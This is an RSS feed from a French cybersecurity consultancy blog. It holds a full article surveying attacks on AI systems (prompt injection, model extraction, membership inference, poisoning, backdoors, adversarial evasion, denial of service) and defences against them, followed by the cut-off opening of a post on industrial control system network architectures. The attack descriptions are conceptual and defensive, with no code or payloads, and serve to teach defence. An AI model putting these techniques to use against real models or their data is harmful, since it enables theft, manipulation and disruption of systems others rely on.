<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Challenges - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/category/formats/challenges/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/category/formats/challenges/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Wed, 13 Mar 2024 15:13:08 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Challenges - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/category/formats/challenges/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Sécuriser l&#8217;IA : Les Nouveaux Enjeux de Cybersécurité</title>
		<link>https://www.riskinsight-wavestone.com/2024/03/securiser-lia-les-nouveaux-enjeux-de-cybersecurite/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/03/securiser-lia-les-nouveaux-enjeux-de-cybersecurite/#respond</comments>
		
		<dc:creator><![CDATA[Gérôme Billois]]></dc:creator>
		<pubDate>Wed, 13 Mar 2024 15:07:54 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[adversarial attacks]]></category>
		<category><![CDATA[attaques par poison]]></category>
		<category><![CDATA[auto-encodeurs]]></category>
		<category><![CDATA[federated learning]]></category>
		<category><![CDATA[GAN]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[prompt injection]]></category>
		<category><![CDATA[Sécurité IA]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=22690</guid>

					<description><![CDATA[<p>L’utilisation des systèmes d’intelligence artificielle et des Large Langage Models (LLM) a explosé depuis 2023. Les entreprises, les cybercriminels, comme les particuliers commencent à les utiliser régulièrement. Cependant, comme toute nouvelle technologie, les IA ne sont pas sans risques. Pour...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/03/securiser-lia-les-nouveaux-enjeux-de-cybersecurite/">Sécuriser l&rsquo;IA : Les Nouveaux Enjeux de Cybersécurité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">L’utilisation des systèmes d’intelligence artificielle et des Large Langage Models (LLM) a explosé depuis 2023. Les entreprises, les cybercriminels, comme les particuliers commencent à les utiliser régulièrement. Cependant, comme toute nouvelle technologie, les IA ne sont pas sans risques. Pour illustrer ces derniers, nous avons simulé deux attaques réalistes dans de précédents articles : <a href="https://www.riskinsight-wavestone.com/2023/06/attaquer-une-ia-un-exemple-concret/">Attaquer une IA ? Un exemple concret !</a> ou <a href="https://www.riskinsight-wavestone.com/2023/10/quand-les-mots-deviennent-des-armes-prompt-injection-et-intelligence-artificielle/">Quand les mots deviennent des armes : prompt injection</a>.</p>
<p style="text-align: justify;">Cet article vient dresser un panorama sur la <strong>menace liée à l’IA</strong> et les <strong>principaux mécanismes de défense</strong> afin de démocratiser leur utilisation.</p>
<p style="text-align: justify;">                      </p>
<h2 style="text-align: justify;"><span style="color: #55118a;">L&rsquo;IA introduit de nouvelles techniques d&rsquo;attaques, déjà largement exploitées par les Cybercriminels</span></h2>
<p style="text-align: justify;">Comme toute nouvelle technologie, l’IA introduit de nouvelles vulnérabilités et de nouveaux risques qu’il convient d’adresser en parallèle de son adoption. La surface d’attaque est grande : un acteur malveillant pourrait à la fois <strong>attaquer le modèle</strong> en lui-même (vol de modèle, reconstruction de modèle, détournement de l’usage initial) <strong>mais également ses</strong> <strong>données</strong> (extraire des données d’entraînement, modifier le comportement en ajoutant des fausses données, etc.).</p>
<p style="text-align: justify;">Le <a href="https://www.riskinsight-wavestone.com/2023/10/quand-les-mots-deviennent-des-armes-prompt-injection-et-intelligence-artificielle/"><em>Prompt injection</em></a> est sans conteste la technique dont on parle le plus. Elle permet à un attaquant de réaliser des actions indésirables au modèle, comme extraire des données sensibles, exécuter du code arbitraire ou générer du contenu offensant.</p>
<p style="text-align: justify;">Etant donné la variété grandissante des attaques sur les modèles d’IA, nous survolerons de manière non exhaustive les principales catégories :</p>
<h3 style="text-align: justify;"><span style="color: #527aa3;">Vol de données (impact sur la confidentialité)</span></h3>
<p style="text-align: justify;">Dès lors que des données servent à entraîner les modèles de <em>Machine Learning</em>, ces dernières peuvent être (partiellement) réutilisées pour répondre aux utilisateurs. Un modèle mal configuré peut alors être un peu trop verbeux, révélant involontairement des informations sensibles. Cette situation présente un risque de violation de la vie privée et d&rsquo;atteinte à la propriété intellectuelle.</p>
<p style="text-align: justify;">Et le risque est d&rsquo;autant plus grand que les modèles sont « sur-entraînés » sur des données spécifiques (« <em>overfitting »</em>). <strong>Les attaques par</strong> <strong>oracle</strong> se déroulent quand le modèle est en production, lorsque l’attaquant questionne le modèle pour exploiter ses réponses. Ces attaques peuvent prendre plusieurs formes :</p>
<ul style="text-align: justify;">
<li><strong>Extraction/vol de modèle : </strong>un attaquant peut extraire une copie fonctionnelle d’un modèle privé en s’en servant comme d’un oracle. En interrogeant à plusieurs reprises l’accès API du modèle <em>Machine Learning</em>, l’adversaire peut collecter les réponses de celui-ci. Ces réponses serviront d’étiquettes pour former un modèle distinct qui imitera le comportement et les performances du modèle cible.</li>
<li><strong>Membership inference attacks (attaque par inférence d’appartenance) : </strong>cette attaque vise à vérifier si une donnée spécifique a été utilisée durant l’entrainement d’un modèle d’IA. Les conséquences peuvent être très importantes, notamment pour les données de santé : imaginez pouvoir vérifier si un individu est atteint d’un cancer ou non ! Cette méthode a été utilisée par le <em>New York Times</em> afin de prouver que ses articles ont été utilisés pour entrainer ChatGPT<a href="#_ftn1" name="_ftnref1">[1]</a>.</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><span style="color: #527aa3;">Déstabilisation et atteinte à la réputation (impact sur l’intégrité)</span></h3>
<p style="text-align: justify;">La performance d’un modèle de <em>Machine Learning</em> repose sur la fiabilité et la qualité de ses données d’entrainement. <strong>Les attaques par</strong> <strong>poison</strong> visent à compromettre les données d’entrainement pour affecter la performance du modèle :</p>
<ul style="text-align: justify;">
<li><strong>Déformation de modèle</strong> : l&rsquo;attaque vise à manipuler délibérément un modèle durant l’apprentissage (soit à l’entraînement initial, soit après sa mise en production si le modèle continue à apprendre) afin d&rsquo;introduire des biais et orienter les prédictions du modèle. En conséquence, le modèle biaisé pourra favoriser certains groupes ou certaines caractéristiques, ou être orienté vers des prédictions malveillantes.</li>
</ul>
<ul style="text-align: justify;">
<li><strong><em>Backdoors</em></strong><strong> : </strong>un attaquant peut entrainer et diffuser un modèle corrompu contenant une porte dérobée. Un tel modèle fonctionne normalement jusqu’à un input contenant un trigger modifie son comportement. Ce trigger peut être un mot, une date ou une image. Par exemple, un système de classification de logiciel malveillant peut laisser passer un logiciel malveillant s’il voit un mot clé spécifique dans son nom ou à partir d’une date spécifique. Du code malveillant peut aussi être exécuté<a href="#_ftn2" name="_ftnref2">[2]</a> !</li>
</ul>
<p style="text-align: justify;">L’attaquant peut également rajouter un bruit soigneusement sélectionné pour tromper la prédiction d’un modèle sain. On parle d’exemple adversaire ou d’attaque par évasion :</p>
<ul style="text-align: justify;">
<li><strong>Attaque par évasion </strong>(<em>adversarial attack</em>)<strong>: </strong>cette attaque a pour objectif de faire générer au modèle une sortie non prévue par le concepteur (se tromper dans une prédiction ou provoquer un dysfonctionnement dans le modèle). Cela peut être fait en modifiant légèrement l’entrée pour éviter d’être détectée comme entrée malveillante. Par exemple :</li>
</ul>
<ul>
<li style="list-style-type: none;">
<ul style="text-align: justify;">
<li>Demander au modèle de décrire une image blanche qui contient un <em>prompt injection</em> caché, <a href="https://twitter.com/goodside/status/1713000581587976372">écrit blanc sur blanc dans l’image</a>.</li>
<li>Porter une paire de lunettes spécifique pour éviter d’être reconnu par un algorithme de reconnaissance faciale<a href="#_ftn3" name="_ftnref3">[3]</a></li>
<li>Ajouter un sticker quelconque sur un panneau « Stop » pour que le modèle reconnaisse un panneau de « Limitation de 45km/h »<a href="#_ftn4" name="_ftnref4">[4]</a></li>
</ul>
</li>
</ul>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #527aa3;">Impact sur la disponibilité</span></h3>
<p style="text-align: justify;">Au-delà du vol de données et de l’impact sur l’image, les attaquants peuvent également entraver la disponibilité des systèmes d&rsquo;Intelligence Artificielle (IA). Ces tactiques ne visent pas seulement à rendre les données indisponibles, mais aussi à perturber le fonctionnement régulier des systèmes. On peut citer l’attaque par empoisonnement, qui aura pour impact de rendre indisponible le modèle le temps de le réentraîner (ce qui aura également un impact économique dû au coût de réentraînement du modèle). Voici un autre exemple d’attaque :</p>
<ul style="text-align: justify;">
<li><strong>Attaque par déni de service (DDOS) du modèle :</strong> comme toutes les autres applications, les modèles de <em>Machine Learning </em>sont sensibles aux attaques de déni de service qui peuvent entraver la disponibilité des systèmes. L’attaque peut combiner un nombre élevé de requêtes, tout en envoyant des requêtes très lourdes à traiter. Dans le cas des modèles de <em>Machine Learning</em>, les conséquences financières sont plus importantes car les tokens/prompts coûtent très cher (par exemple, ChatGPT n’est pas rentable malgré leurs 616 millions d’utilisateurs mensuels).</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><span style="color: #55118a;">Deux pistes pour sécuriser vos projets d’IA : adapter vos contrôles cyber existants, et développer les mesures spécifiques de <em>Machine Learning</em></span></h2>
<p style="text-align: justify;">Tout comme les projets en sécurité, une analyse de risque préalable est nécessaire afin d’implémenter les bons contrôles, tout en trouvant un compromis acceptable entre la sécurité et le fonctionnement du modèle. Pour ce faire, <strong>nos méthodes de risques traditionnelles doivent évoluer </strong>afin d’inclure les risques précédemment détaillés, qui ne sont pas bien couverts par les méthodes historiques.</p>
<p style="text-align: justify;">A la suite de ces analyses de risques, des mesures de sécurité devront être implémentées. <strong>Wavestone a recensé plus de 60 mesures différentes</strong>. Dans cette deuxième partie, nous vous présentons une petite sélection de ces mesures à implémenter selon la criticité de vos modèles.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><span style="color: #527aa3;">1.    Adapter les contrôles cyber aux modèles de <em>Machine Learning</em></span></h3>
<p style="text-align: justify;">La première ligne de défense correspond aux mesures applicatives, infrastructurelles et organisationnelles de base de la cybersécurité. L’objectif est d’adapter des exigences qu’on connait déjà, qui sont présentes dans les différentes politiques de sécurité, mais qui ne s’appliquent pas forcément de la même manière pour des projets d’IA. Il faut prendre en compte ces spécificités, parfois assez fines.</p>
<p style="text-align: justify;">L’exemple le plus parlant est celui de la réalisation de <strong>pentests IA</strong>. Les pentests classiques consistent à trouver une vulnérabilité pour rentrer dans le système d’information. Or, les modèles d’IA peuvent être attaqués sans rentrer dans le SI (comme les attaques par évasion et oracle). Les procédures de RedTeaming doivent évoluer pour traiter ces particularités, tout en faisant évoluer les mécanismes de détection et de réponse à incident afin de couvrir les nouvelles applications de l&rsquo;IA.</p>
<p style="text-align: justify;">Un autre exemple essentiel est celui de l’<strong>isolation des environnements d’IA</strong> utilisés tout au long du cycle de vie des modèles de <em>Machine Learning</em>. Cela permet de réduire les impacts d’une compromission en protégeant les modèles, les données d’entraînement et les résultats de prédiction.</p>
<p style="text-align: justify;">Il faut également évaluer les <strong>réglementations</strong> et les lois auxquelles l’application de <em>Machine Learning</em> doit se conformer et respecter les dernières lois en vigueur sur l’intelligence artificielle (<a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=celex%3A52021PC0206">IA Act</a> en Europe, par exemple).</p>
<p style="text-align: justify;">Et enfin, une mesure plus que classique : les <strong>campagnes de sensibilisation et de formation</strong>. Il faut s’assurer que les parties prenantes (chef de projet, développeurs, etc.) soient formés aux risques des systèmes d’IA et que les utilisateurs soient avertis de ces risques.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><span style="color: #527aa3;">2.    Les contrôles spécifiques pour protéger les modèles de <em>Machine Learning</em> sensibles</span></h3>
<p style="text-align: justify;">Au-delà des mesures classiques à adapter, des mesures spécifiques doivent être identifiées et appliquées.</p>
<h4 style="text-align: justify;"><span style="color: #c95181;">Pour vos projets les moins critiques, faites simple et implémentez la base</span></h4>
<p style="text-align: justify;"><strong><em>Poison control</em></strong><strong> : </strong>afin de se prémunir des attaques par empoisonnement, il faut détecter toute « fausse » donnée ayant pu être injectée par un attaquant. La mesure consiste à mettre en œuvre une analyse statistique exploratoire pour repérer les données empoisonnées (analyser la distribution des données et repérer les données absurdes par exemple). Cette étape peut être incluse dans le cycle de vie d’un modèle de <em>Machine Learning</em> pour automatiser les actions en aval. Cependant, une vérification humaine sera toujours nécessaire.</p>
<p style="text-align: justify;"><strong><em>Input control</em></strong> (analyser les entrées fournies par un utilisateur) : pour contrer les attaques par <em>prompt injection </em>et par évasion, les entrées de l’utilisateur sont analysées et filtrées pour bloquer toutes les entrées malveillantes. Nous pouvons penser à des règles basiques (bloquer les requêtes contenant un mot spécifique) comme des règles statistiques plus spécifiques (format, consistance, cohérence sémantique, bruit, etc.). Cependant, cette approche peut avoir un impact négatif sur la performance du modèle, car les faux-positifs seraient bloqués.</p>
<p><img fetchpriority="high" decoding="async" class="aligncenter wp-image-22693" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-1.png" alt="" width="700" height="182" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-1.png 2545w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-1-437x113.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-1-71x18.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-1-768x199.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-1-1536x399.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-1-2048x532.png 2048w" sizes="(max-width: 700px) 100vw, 700px" /></p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;"><span style="color: #c95181;">Pour vos projets moyennement sensibles, viser un bon rapport investissement / couverture du risque</span></h4>
<p style="text-align: justify;">Des mesures, il y en a pléthores, et la <a href="https://www.enisa.europa.eu/publications/securing-machine-learning-algorithms">littérature</a> sur le sujet est très riche. En revanche, certaines mesures permettent de couvrir plusieurs risques à la fois. Il nous paraît intéressant de les considérer en premier.</p>
<p style="text-align: justify;"><strong><em>Transform inputs</em></strong> : une étape de transformation de l’entrée est rajoutée entre l’utilisateur et le modèle. L’objectif est double :</p>
<ol style="text-align: justify;">
<li>Supprimer ou modifier toute entrée malveillante en reformulant l’entrée ou en la tronquant par exemple. Une implémentation via des encodeurs est également possible (mais sera détaillée dans la partie d’après).</li>
<li>Réduire la visibilité de l’attaquant pour contrer les attaques par oracle (qui nécessite de connaitre précisément l’entrée et la sortie du modèle) en rajoutant un bruit aléatoire ou en reformulant le prompt par exemple.</li>
</ol>
<p style="text-align: justify;">Selon la méthode d’implémentation, des impacts sur la performance du modèle sont à prévoir.</p>
<p style="text-align: justify;"><strong><em>Supervise AI with AI models</em></strong> : tout modèle d’IA apprenant après sa mise en production doit faire l’objet d’une supervision spécifique dans des processus globaux de détection et de réponse aux incidents. Cela implique à la fois de collecter les journaux appropriés pour réaliser des investigations, mais également de surveiller la déviation statistique du modèle pour repérer toute dérive anormale. En d’autres termes, il s’agit d’évaluer dans le temps l’évolution de la qualité des prédictions. Le modèle Tay de Microsoft lancé sur Twitter en 2016 est un bon exemple d’un modèle qui a dérivé.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter wp-image-22695" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-2.png" alt="" width="700" height="193" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-2.png 2404w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-2-437x120.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-2-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-2-768x211.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-2-1536x423.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-2-2048x564.png 2048w" sizes="(max-width: 700px) 100vw, 700px" /></p>
<h4 style="text-align: justify;"><span style="color: #c95181;">Pour vos projets critiques, allez plus loin pour couvrir les risques spécifiques</span></h4>
<p style="text-align: justify;">Il y a des mesures qui nous paraissent très efficaces pour couvrir certains risques. Bien sûr, cela implique de faire une analyse de risques en amont. Voici deux exemples (parmi tant d’autres) :</p>
<p style="text-align: justify;"><strong><em>Randomized Smoothing</em></strong><strong> </strong>: une technique d’entrainement visant à renforcer la robustesse des prédictions d&rsquo;un modèle. Ce dernier est entraîné deux fois : une première fois avec les données d&rsquo;entraînement réelles, puis une seconde fois avec ces mêmes données altérées par du bruit. L&rsquo;objectif est d’avoir le même comportement, en présence d’un bruit dans l’entrée ou non. Cela limite ainsi les attaques par évasion, notamment pour les algorithmes de classification.</p>
<p style="text-align: justify;"><strong>Apprentissage par exemples contradictoires </strong><em>(adversarial learning)</em> : l’objectif est d’apprendre au modèle à reconnaitre une entrée malveillante pour le rendre plus robuste aux <em>Adversarial Attacks</em>. Concrètement, cela revient à labéliser des exemples contradictoires (soit une vraie entrée qui inclus une petite erreur / perturbation) comme des données malveillantes et à les ajouter durant la phase d’entraînement. En confrontant le modèle à ces attaques simulées, il apprend à reconnaître et à contrer les patterns malveillants. La mesure est très efficace mais elle implique un certain coût en ressources (phase d’entraînement plus longue) et peut avoir un impact sur la précision du modèle.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter wp-image-22697" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-3.png" alt="" width="700" height="192" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-3.png 2417w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-3-437x120.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-3-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-3-768x210.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-3-1536x421.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/03/Photo-3-2048x561.png 2048w" sizes="(max-width: 700px) 100vw, 700px" /></p>
<h2> </h2>
<h2 style="text-align: justify;"><span style="color: #55118a;">Les gardiens polyvalents – trois sentinelles de la sécurité en IA</span></h2>
<p style="text-align: justify;">Trois méthodes ressortent du lot par leur efficacité et leur capacité à mitiger plusieurs scénarios d’attaques simultanément : le <strong>GAN</strong> (<em>Generative Adversarial Network</em>), les <strong>filtres</strong> (encodeurs et auto-encodeurs qui sont des modèles de réseaux de neurones) et <strong>l’apprentissage fédéré</strong>.</p>
<h3 style="text-align: justify;"><span style="color: #527aa3;">Le GAN : le faussaire et le critique</span></h3>
<p style="text-align: justify;">Le GAN, ou Réseau Génératif Antagoniste (<em>« </em><em>Generative Adversarial Network »</em> en anglais), est une technique d’entraînement de modèle d’IA qui fonctionne comme un faussaire et un critique travaillant ensemble. Le faussaire, appelé le générateur, crée des « copies d’œuvres d&rsquo;art » (comme des images). Le critique, appelé le discriminateur, évalue ces œuvres pour identifier les fausses œuvres des vraies et donne des conseils au faussaire pour s&rsquo;améliorer. Les deux travaillent en tandem pour produire des œuvres de plus en plus réalistes jusqu’à ce que le critique n’arrive plus à identifier les fausses données des vraies.</p>
<p style="text-align: justify;">Un GAN peut aider à réduire la surface d’attaque sur deux façons :</p>
<ul style="text-align: justify;">
<li>Avec le <strong>générateur (le faussaire) </strong>pour éviter les fuites de données sensibles. Une nouvelle base de données d’entrainement fictive peut être générée, semblable à l’originale, mais ne contenant pas de données sensibles ou personnelles.</li>
<li>Avec le <strong>discriminateur (le critique) </strong>limite les attaques par évasion ou par empoisonnement en identifiant les données malveillantes. Le discriminateur compare les entrées d’un modèle avec ses données d’entrainement. Si elles sont trop différentes, alors l’entrée est classée comme malveillante. En pratique, il est capable de prédire si une entrée appartient aux données d’entraînement en lui associant un scope de vraisemblance.</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><span style="color: #527aa3;">Les auto-encodeurs : un algorithme d’apprentissage non supervisé pour filtrer les entrées et les sorties</span></h3>
<p style="text-align: justify;">Un auto-encodeur transforme une entrée dans une autre dimension, modifiant sa forme mais pas son essence. Pour prendre une analogie simplificatrice, c’est comme si le prompt était résumé et réécrit pour supprimer les éléments indésirables. En pratique, l’entrée est compressée par un encodeur supprimant ainsi le bruit (via une première couche du réseau de neurones), puis elle est reconstruite via un décodeur (via une deuxième couche). Ce modèle a deux utilisations :</p>
<ul style="text-align: justify;">
<li>Si un auto-encodeur est positionné <strong>en amont</strong> du modèle, il aura la capacité de transformer l’input avant qu’il ne soit traité par l’application, supprimant de potentielles charges malveillantes. De cette manière, il devient plus difficile pour un attaquant d’introduire des éléments permettant une attaque par évasion par exemple.</li>
<li>Nous pouvons utiliser ce même système en <strong>aval</strong> du modèle pour se protéger des attaques oracle (qui visent à extraire des informations sur les données ou le modèle en les interrogeant). Les sorties seront ainsi filtrées, réduisant la verbosité du modèle, c’est-à-dire en réduisant la quantité d’information en sortie du modèle.</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><span style="color: #527aa3;"><em>Federated Learning</em> : l’union fait la force</span></h3>
<p style="text-align: justify;">Lorsqu&rsquo;un modèle est déployé sur plusieurs appareils, une méthode d&rsquo;apprentissage délocalisée telle que l&rsquo;apprentissage fédéré peut être employée. Le principe : plusieurs modèles apprennent localement avec leurs propres données et ne remontent au système central que leurs apprentissages. Cela permet à plusieurs appareils de collaborer sans partager leurs données brutes. Cette technique permet de couvrir un grand nombre de risques cyber des applications basées sur des modèles d’intelligence artificielle :</p>
<ul style="text-align: justify;">
<li>La <strong>segmentation des bases de données d&rsquo;entraînement</strong> joue un rôle crucial dans la limitation des risques d&#8217;empoisonnement par <em>Backdoor</em> et par <em>Model Skewing</em>. Du fait que les données d&rsquo;entraînement sont spécifiques à chaque appareil, il devient extrêmement difficile pour un attaquant d&rsquo;injecter des données malveillantes de manière coordonnée, étant donné qu&rsquo;il n&rsquo;a pas accès à l&rsquo;ensemble global des données d&rsquo;entraînement. Cette même division limite les risques d’extraction de données.</li>
<li>Le processus d’apprentissage fédéré permet également de limiter les <strong>risques d’extraction de modèle</strong>. Le processus d’apprentissage rend extrêmement complexe le lien entre les données d’entraînement et le comportement du modèle, car celui-ci n’opère pas un apprentissage direct. Il devient alors difficile pour un attaquant de comprendre le lien entre les données d’entrée et les données de sorties.</li>
</ul>
<p> </p>
<p style="text-align: justify;">Ensemble, le GAN, les filtres (encodeurs et auto-encodeurs) et l&rsquo;apprentissage fédéré forment une bonne proposition de couverture de risque pour les projets de <em>Machine Learning</em> malgré la technicité de leur mise en œuvre. Ces gardiens polyvalents démontrent que l&rsquo;innovation et la collaboration sont les piliers d&rsquo;une défense robuste dans le paysage dynamique de l&rsquo;intelligence artificielle.</p>
<p style="text-align: justify;">Pour aller plus loin, Wavestone a rédigé pour l’ENISA un <a href="https://www.enisa.europa.eu/publications/securing-machine-learning-algorithms">guide pratique</a> pour sécuriser le déploiement d’apprentissage automatique dans lequel sont listés les différents contrôles de sécurité à établir.</p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #55118a;">En résumé</span></h2>
<p style="text-align: justify;">L’intelligence artificielle peut être compromise par des méthodes que l’on ne rencontrait pas usuellement sur nos systèmes d’information. Il n’existe pas de risque zéro : tout modèle est vulnérable. Pour mitiger ces nouveaux risques, des mécanismes de défense supplémentaires sont à prendre en main et à implémenter selon le niveau de criticité du projet. Un compromis devra alors être trouvé entre la sécurité et la performance du modèle.</p>
<p style="text-align: justify;">La sécurité de l’IA est un domaine très actif, des internautes de Reddit jusqu’aux travaux de recherche poussés sur la déviation de modèle par exemple. C’est pourquoi il est important d’organiser une veille organisationnelle et technique sur le sujet.</p>
<p> </p>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1">[1]</a> <a href="https://www.nytimes.com/2023/12/27/business/media/new-york-times-open-ai-microsoft-lawsuit.html">New York Times proved that their articles were in AI training data set</a></p>
<p style="text-align: justify;"><a href="#_ftnref2" name="_ftn2">[2]</a> <a href="https://www.clubic.com/actualite-520447-au-moins-une-centaine-de-modeles-d-ia-malveillants-seraient-heberges-par-la-plateforme-hugging-face.html">Au moins une centaine de modèles d&rsquo;IA malveillants seraient hébergés par la plateforme Hugging Face</a></p>
<p style="text-align: justify;"><a href="#_ftnref3" name="_ftn3">[3]</a> Sharif, M. et al. (2016). Accessorize to a crime: Real and stealthy attacks on state-of-the-art face recognition. ACM Conference on Computer and Communications Security (CCS)</p>
<p style="text-align: justify;"><a href="#_ftnref4" name="_ftn4">[4]</a> Eykholt, K. et al. (2018). Robust Physical-World Attacks on Deep Learning Visual Classification. CVPR. <a href="https://arxiv.org/pdf/1707.08945.pdf">https://arxiv.org/pdf/1707.08945.pdf</a></p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/03/securiser-lia-les-nouveaux-enjeux-de-cybersecurite/">Sécuriser l&rsquo;IA : Les Nouveaux Enjeux de Cybersécurité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/03/securiser-lia-les-nouveaux-enjeux-de-cybersecurite/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>S4x22 &#8211; L&#8217;histoire de deux architectures ICS sécurisées (très différentes)</title>
		<link>https://www.riskinsight-wavestone.com/2022/07/s4x22-lhistoire-de-deux-architectures-ics-securisees-tres-differentes/</link>
					<comments>https://www.riskinsight-wavestone.com/2022/07/s4x22-lhistoire-de-deux-architectures-ics-securisees-tres-differentes/#respond</comments>
		
		<dc:creator><![CDATA[Alexandrine Torrents]]></dc:creator>
		<pubDate>Fri, 08 Jul 2022 12:58:53 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[ICS]]></category>
		<category><![CDATA[S4x22]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18294</guid>

					<description><![CDATA[<p>Introduction Comme indiqué dans mon premier article sur le sujet, cette année, j&#8217;ai eu l&#8217;occasion de parler sur la scène principale de s4, une conférence de 3 jours, dédiée à la cybersécurité ICS, qui s&#8217;est tenue à Miami South Beach...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/07/s4x22-lhistoire-de-deux-architectures-ics-securisees-tres-differentes/">S4x22 &#8211; L&rsquo;histoire de deux architectures ICS sécurisées (très différentes)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2>Introduction</h2>
<p>Comme indiqué <a href="https://www.riskinsight-wavestone.com/en/2022/05/s4x22-write-up-of-the-ics-cybersecurity-conference/">dans mon premier article sur le sujet</a>, cette année, j&rsquo;ai eu l&rsquo;occasion de parler sur la scène principale de s4, une conférence de 3 jours, dédiée à la cybersécurité ICS, qui s&rsquo;est tenue à Miami South Beach du 19 au 21 avril 2022 et organisée par Dale Peterson.</p>
<p>Le thème de cette année était « No Limits ! ». Ce thème m&rsquo;a donné l&rsquo;idée de réfléchir à l&rsquo;avenir des architectures de réseaux ICS.</p>
<p>La vidéo de la conférence est maintenant disponible sur la chaîne YouTube de S4Events : <a href="https://youtu.be/jzadpM7khWk">lien</a></p>
<p>C&rsquo;est donc l&rsquo;occasion de vous donner plus de détails sur la présentation.</p>
<h2>Genèse de la présentation</h2>
<p>Dans le cadre de mes missions chez Wavestone, je travaille beaucoup sur la cybersécurité des SCI au sein de différentes entreprises. Ces dernières années, mon travail d&rsquo;assistance et de soutien aux RSSI s&rsquo;est de plus en plus concentré sur les architectures réseau.</p>
<p>J&rsquo;ai beaucoup entendu ce genre de déclarations :</p>
<ul>
<li>« J&rsquo;ai besoin d&rsquo;envoyer des données vers le Cloud pour pouvoir optimiser ma production ».</li>
<li>« Mon usine est exploitée par un partenaire externe, et j&rsquo;ai besoin de me connecter à son système d&rsquo;information ».</li>
<li>« Dans mon secteur d&rsquo;activité, je suis tenu légalement et contractuellement d&rsquo;envoyer ce type de données industrielles à un tiers ».</li>
</ul>
<p>Il y a de plus en plus de besoins professionnels nécessitant des interconnexions avec le SCI qui semblent légitimes. Mais comment permettre ces interconnexions de manière sécurisée ? Et pouvons-nous dire oui à tout ?</p>
<p>Les exigences en matière de cybersécurité des SCI ont toujours été les mêmes. Et en termes d&rsquo;architecture de réseau, nous en arrivons toujours au modèle Purdue, ainsi qu&rsquo;à la méthodologie des zones et des conduits. Traditionnellement, il y a une certaine rigidité quant à ce qu&rsquo;est une architecture ICS « sécurisée ».</p>
